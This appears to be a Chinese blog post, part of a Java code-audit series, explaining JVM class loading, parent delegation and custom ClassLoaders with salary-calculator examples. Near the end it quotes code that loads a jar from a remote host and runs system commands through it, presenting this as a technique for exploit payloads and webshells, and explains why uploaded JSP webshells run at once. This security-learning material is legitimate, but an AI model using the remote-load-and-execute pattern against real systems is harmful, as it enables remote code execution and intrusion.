Java 代码审计 — 1. ClassLoader
参考:
https://www.bilibili.com/video/BV1go4y197cL/
以 java 8 为例
什么是类加载#
Java 是一种混合语言,它既有编译型语言的特性,又有解释型语言的特性。编译特性指所有的 Java 代码都必须经过编译才能运行。解释型指编译好的 .class 字节码需要经过 JVM 解释才能运行。.class
文件中存放着编译后的 JVM 指令的二进制信息。
当程序中用到某个类时,JVM 就会寻找加载对应的 .class 文件,并在内存中创建对应的 Class 对象。这个过程就称为类加载。
类的加载步骤#
理论模型#
从一个类的生命周期这个角度来看,一个类(.class) 必须经过加载、链接、初始化三个步骤才能在 JVM 中运行。

当 java 程序需要使用某个类时,JVM 会进行加载、链接、初始化这个类。
加载 Loading#
通过类的完全限定名查找类的字节码文件,将类的 .class
文件字节码数据从不同的数据源读取到 JVM 中,并映射成 JVM 认可的数据结构。
这个阶段是用户可以参与的阶段,自定义的类加载器就是在这个过程。
连接 Linking#
-
验证:检查 JVM 加载的字节信息是否符合 java 虚拟机规范。
确保被加载类的正确性,
.class
文件的字节流中包含的信息符合当前虚拟机要求,不会危害虚拟机自身安全。 -
准备:这一阶段主要是分配内存。创建类或接口的静态变量,并给这些变量赋默认值。
只对 static 变量进行处理。而 final static 修饰的变量在编译的时候就会分配。
-
例如:
static int num = 5
,此步骤会将 num 赋默认值 0,而 5 的赋值会在初始化阶段完成。 -
解析:把类中的符号引用转换成直接引用。
符号引用就是一组符号来描述目标,而直接引用就是直接指向目标的指针、相对偏移量或一个间接定位到目标的句柄。
初始化 Initialization#
执行类初始化的代码逻辑。包括执行 static 静态代码块,给静态变量赋值。
具体实现#
java.lang.ClassLoader
是所有的类加载器的父类,java.lang.ClassLoader
有非常多的子类加载器,比如我们用于加载 jar 包的 java.net.URLClassLoader
,后者通过继承 java.lang.ClassLoader
类,重写了findClass
方法从而实现了加载目录 class 文件甚至是远程资源文件。
三种内置的类加载器#
-
Bootstrap ClassLoader
引导类加载器Java 类被
java.lang.ClassLoader
的实例加载,而 后者本身就是一个 java 类,谁加载后者呢?其实就是
bootstrap ClassLoader
,它是最底层的加载器,是 JVM 的一部分,使用 C++ 编写,故没有父加载器,也没有继承java.lang.ClassLodaer
类,在代码中获取为 null。它主要加载 java 基础类。位于
JAVA_HOME/jre/lib/rt.jar
以及sun.boot.class.path
系统属性目录下的类。出于安全考虑,此加载器只加载 java、javax、sun 开头的类。
-
Extension ClassLoader
扩展类加载器负责加载 java 扩展类。位于是
JAVA_HOME/jre/lib/ext
目录下,以及java.ext.dirs
系统属性的目录下的类。sun.misc.Launcher$ExtClassLoader // jdk 9 及之后 jdk.internal.loader.ClassLoaders$PlatformClassLoader -
App ClassLoader
系统类加载器又称
System ClassLoader
,主要加载应用层的类。位于CLASS_PATH
目录下以及系统属性java.class.path
目录下的类。它是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用它来加载类。
sun.misc.Launcher$AppClassLoader // jdk 9 及之后 jdk.internal.loader.ClassLoaders$AppClassLOader
父子关系#
AppClassLoader 父加载器为 ExtClassLoader,ExtClassLoader 父加载器为 null 。

很多资料和文章里说,
ExtClassLoader
的父类加载器是BootStrapClassLoader
,严格来说,ExtClassLoader
的父类加载器是 null,只不过在其的loadClass
方法中,当 parent 为 null 时,是交给BootStrap ClassLoader
来处理的。
双亲委派机制#
试想几个问题:
-
有三种类加载器,如何保证一个类加载器已加载的类不会被另一个类加载器重复加载?
势必在加载某个类之前,都要检查一下是否已加载过。如果三个内置的类加载器都没加载,则加载。
-
某些基础核心类,是可以让所有的加载器加载吗?
比如 String 类,如果给它加上后门,放到 classpath 下,是让 appclassloader 加载吗?如果是被 appclassloader 加载,那么它需要做什么验证?如何进行验证?
为了解决上面的问题,java 采取的是双亲委派机制来协调三个类加载器。

每个类加载器对它加载的类都有一个缓存。
向上委托查找,向下委托加载。
-
类的唯一性
可以避免类的重复加载,当父类加载器已经加载了该类时,就没有必要子 ClassLoader 再加载一次,保证加载的 Class 在内存中只有一份。
子加载器可以看见父加载器加载的类。而父加载器没办法得知子加载器加载的类。如果 A 类是通过 AppClassLoader 加载,而 B 类通过ExtClassLoader 加载,那么对于 AppClassLoader 加载的类,它可以看见两个类。而对于 ExtClassLoader ,它只能看见 B 类。
-
安全性
考虑到安全因素,Java 核心 Api 中定义类型不会被随意替换,假设通过网络传递一个名为 java.lang.Object 的类,通过双亲委派模式传递到启动类加载器,而启动类加载器在核心 JavaAPI 发现这个名字的类,发现该类已被加载,并不会重新加载网络传递过来的 java.lang.Object,而直接返回已加载过的 Object.class,这样可以防止核心API库被随意窜改。
加载步骤及代码细节#
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
此函数是类加载的入口函数。resolve 这个参数就是表示需不需要进行 连接阶段。
下面是截取的部分代码片段,从这个片段中可以深刻体会双亲委派机制。

Class<?> c = findLoadedClass(name);
在类加载缓存中寻找是否已经加载该类。它最终调用的是 native 方法。
if (parent != null) { c = parent.loadClass(name, false); } else { c = findBootstrapClassOrNull(name); }
如果父加载器不为空,则让递归让父加载器去加载此类。
如果父加载器为空,则调用 Bootstrap 加载器去加载此类。此处也即为何说 ExtClassLoader 的父加载器为 null,而非 Bootstrap 。
c = findClass(name);
如果查询完所有父亲仍未找到,说明此类并未加载,则调用 findClass 方法来寻找并加载此类。我们自定义类加载器,主要重写的就是 findClass 。
总结#
ClassLoader
类有如下核心方法:
loadClass
(加载指定的Java类)findLoadedClass
(查找JVM已经加载过的类)findClass
(查找指定的Java类)defineClass
(定义一个Java类)resolveClass
(链接指定的Java类)
理解Java类加载机制并非易事,这里我们以一个 Java 的 HelloWorld 来学习 ClassLoader
。
ClassLoader
加载 com.example.HelloWorld
类重要流程如下:
ClassLoader
调用loadClass
方法加载com.example.HelloWorld
类。- 调用
findLoadedClass
方法检查TestHelloWorld
类是否已经加载,如果 JVM 已加载过该类则直接返回类对象。 - 如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载TestHelloWorld
类,否则使用 JVM 的Bootstrap ClassLoader
加载。 - 如果上一步无法加载
TestHelloWorld
类,那么调用自身的findClass
方法尝试加载TestHelloWorld
类。 - 如果当前的
ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的com.example.HelloWorld
类名找到了对应的类字节码,那么应该调用defineClass
方法去JVM中注册该类。 - 如果调用
loadClass
的时候传入的resolve
参数为 true,那么还需要调用resolveClass
方法链接类,默认为 false。 - 返回一个被 JVM 加载后的
java.lang.Class
类对象。
自定义类加载器#
用途#
大多数情况下,内置的类加载器够用了,但是当加载位于磁盘上其它位置,或者位于网络上的类时,或者需要对类做加密等,就需要自定义类加载器。
一些使用场景:通过动态加载不同实现的驱动的 jdbc。以及编织代理可以更改已知的字节码。以及类名相同的多版本共存机制。
具体实现#
我们通常实现自定义类加载器,主要就是重写 findClass 方法。
protected Class<?> findClass(String name) throws ClassNotFoundException
从网络或磁盘文件(.class, jar, 等任意后缀文件) 上读取类的字节码。然后将获取的类字节码传给 defineClass 函数来定义一个类。
protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError
它最终调用也是 native 方法。
示例代码#
使用类字节码中加载类#
@Test public void test3(){ Double salary = 2000.0; Double money; { byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20}; money = calSalary(salary,b); System.out.println("money: " + money); } } private Double calSalary(Double salary,byte[] bytes) { Double ret = 0.0; try { Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length); System.out.println(clazz.getClassLoader()); Object object = clazz.getConstructor().newInstance(); Method cal = clazz.getMethod("cal",Double.class); ret = (Double)cal.invoke(object,salary); } catch (Exception e) { e.printStackTrace(); } return ret; }
从文件中读取类字节码加载类#
@Test // 自定义类加载器,从 .myclass 文件中中加载类。 public void test4(){ // 将其它方法全注释,并且 ClassLoader.SalaryCaler 文件更名。 try { Double salary = 2000.0; Double money; SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\"); money = calSalary(salary, classLoader); System.out.println("money: " + money); } catch (Exception e) { e.printStackTrace(); } } private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception { Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1"); System.out.println(clazz.getClassLoader()); Object object = clazz.getConstructor().newInstance(); Method cal = clazz.getMethod("cal",Double.class); return (Double)cal.invoke(object,salary); }
package ClassLoader; import org.apache.commons.io.IOUtils; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.nio.ByteBuffer; import java.security.SecureClassLoader; public class SalaryClassLoader extends SecureClassLoader { private String classPath; public SalaryClassLoader(String classPath) { this.classPath = classPath; } @Override protected Class<?> findClass(String name)throws ClassNotFoundException { String filePath = this.classPath + name.replace(".", "/").concat(".myclass"); byte[] b = null; Class<?> aClass = null; try (FileInputStream fis = new FileInputStream(new File(filePath))) { b = IOUtils.toByteArray(fis); aClass = this.defineClass(name, b, 0, b.length); } catch (Exception e) { e.printStackTrace(); } return aClass; } }
从 jar 包中读取类字节码加载类#
@Test //自定义类加载器,从 jar 包中加载 .myclass public void test5(){ try { Double salary = 2000.0; Double money; SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar"); money = calSalary(salary, classLoader); System.out.println("money: " + money); } catch (Exception e) { e.printStackTrace(); } } private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception { Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1"); System.out.println(clazz.getClassLoader()); Object object = clazz.getConstructor().newInstance(); Method cal = clazz.getMethod("cal",Double.class); return (Double)cal.invoke(object,salary); }
package ClassLoader; import org.apache.commons.io.IOUtils; import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; import java.security.SecureClassLoader; public class SalaryJarLoader extends SecureClassLoader { private String jarPath; public SalaryJarLoader(String jarPath) { this.jarPath = jarPath; } @Override protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { Class<?> c = null; synchronized (getClassLoadingLock(name)){ c = findLoadedClass(name); if(c == null){ c = this.findClass(name); // System.out.println(c); if( c == null){ c = super.loadClass(name,resolve); } } } return c; } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { Class<?> ret = null; try { URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass")); InputStream is = jarUrl.openStream(); byte[] b = IOUtils.toByteArray(is); ret = this.defineClass(name,b,0,b.length); } catch (Exception e) { // e.printStackTrace(); } return ret; } }
打破双亲委派机制#
重写继承而来的 loadClass 方法。
使其优先从本地加载,本地加载不到再走双亲委派机制。
@Override protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { Class<?> c = null; synchronized (getClassLoadingLock(name)){ c = findLoadedClass(name); if(c == null){ c = this.findClass(name); if( c == null){ c = super.loadClass(name,resolve); } } } return c; }
其它#
URLClassLoader#
URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的 payload 或者 webshell 的时候我们可以使用它来加载远程的 jar 来实现远程的类方法调用。
在 java.net 包中,JDK提供了一个易用的类加载器 URLClassLoader,它继承了 ClassLoader。
public URLClassLoader(URL[] urls) //指定要加载的类所在的URL地址,父类加载器默认为 AppClassLoader。 public URLClassLoader(URL[] urls, ClassLoader parent) //指定要加载的类所在的URL地址,并指定父类加载器。
从本地 jar 包中加载类#
@Test // 从 jar 包中加载类 public void test3() { try { Double salary = 2000.0; Double money; URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar"); try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) { money = calSalary(salary, urlClassLoader); System.out.println("money: " + money); } } catch (Exception e) { e.printStackTrace(); } } private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception { Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler"); Object object = clazz.getConstructor().newInstance(); Method cal = clazz.getMethod("cal",Double.class); return (Double)cal.invoke(object,salary); }
从网络 jar 包中加载类#
package com.anbai.sec.classloader; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.net.URL; import java.net.URLClassLoader; /** * Creator: yz * Date: 2019/12/18 */ public class TestURLClassLoader { public static void main(String[] args) { try { // 定义远程加载的jar路径 URL url = new URL("https://anbai.io/tools/cmd.jar"); // 创建URLClassLoader对象,并加载远程jar包 URLClassLoader ucl = new URLClassLoader(new URL[]{url}); // 定义需要执行的系统命令 String cmd = "ls"; // 通过URLClassLoader加载远程jar包中的CMD类 Class cmdClass = ucl.loadClass("CMD"); // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami"); Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd); // 获取命令执行结果的输入流 InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; // 读取命令执行结果 while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } // 输出命令执行结果 System.out.println(baos.toString()); } catch (Exception e) { e.printStackTrace(); } } }
import java.io.IOException; /** * Creator: yz * Date: 2019/12/18 */ public class CMD { public static Process exec(String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); } }
jsp webshell#
为什么上传的 jsp webshell 能立即访问,按道理来说 jsp 要经过 servlet 容器处理转化为 servlet 才能执行。而通常开发过程需要主动进行更新资源、或者重新部署、重启 tomcat 服务器。

这是因为 tomcat 的 热加载机制 。而之所以 JSP 具备热更新的能力,实际上借助的就是自定义类加载行为,当 Servlet 容器发现 JSP 文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待 GC。
作者:chenyun
出处:https://www.cnblogs.com/starrys/p/15612755.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具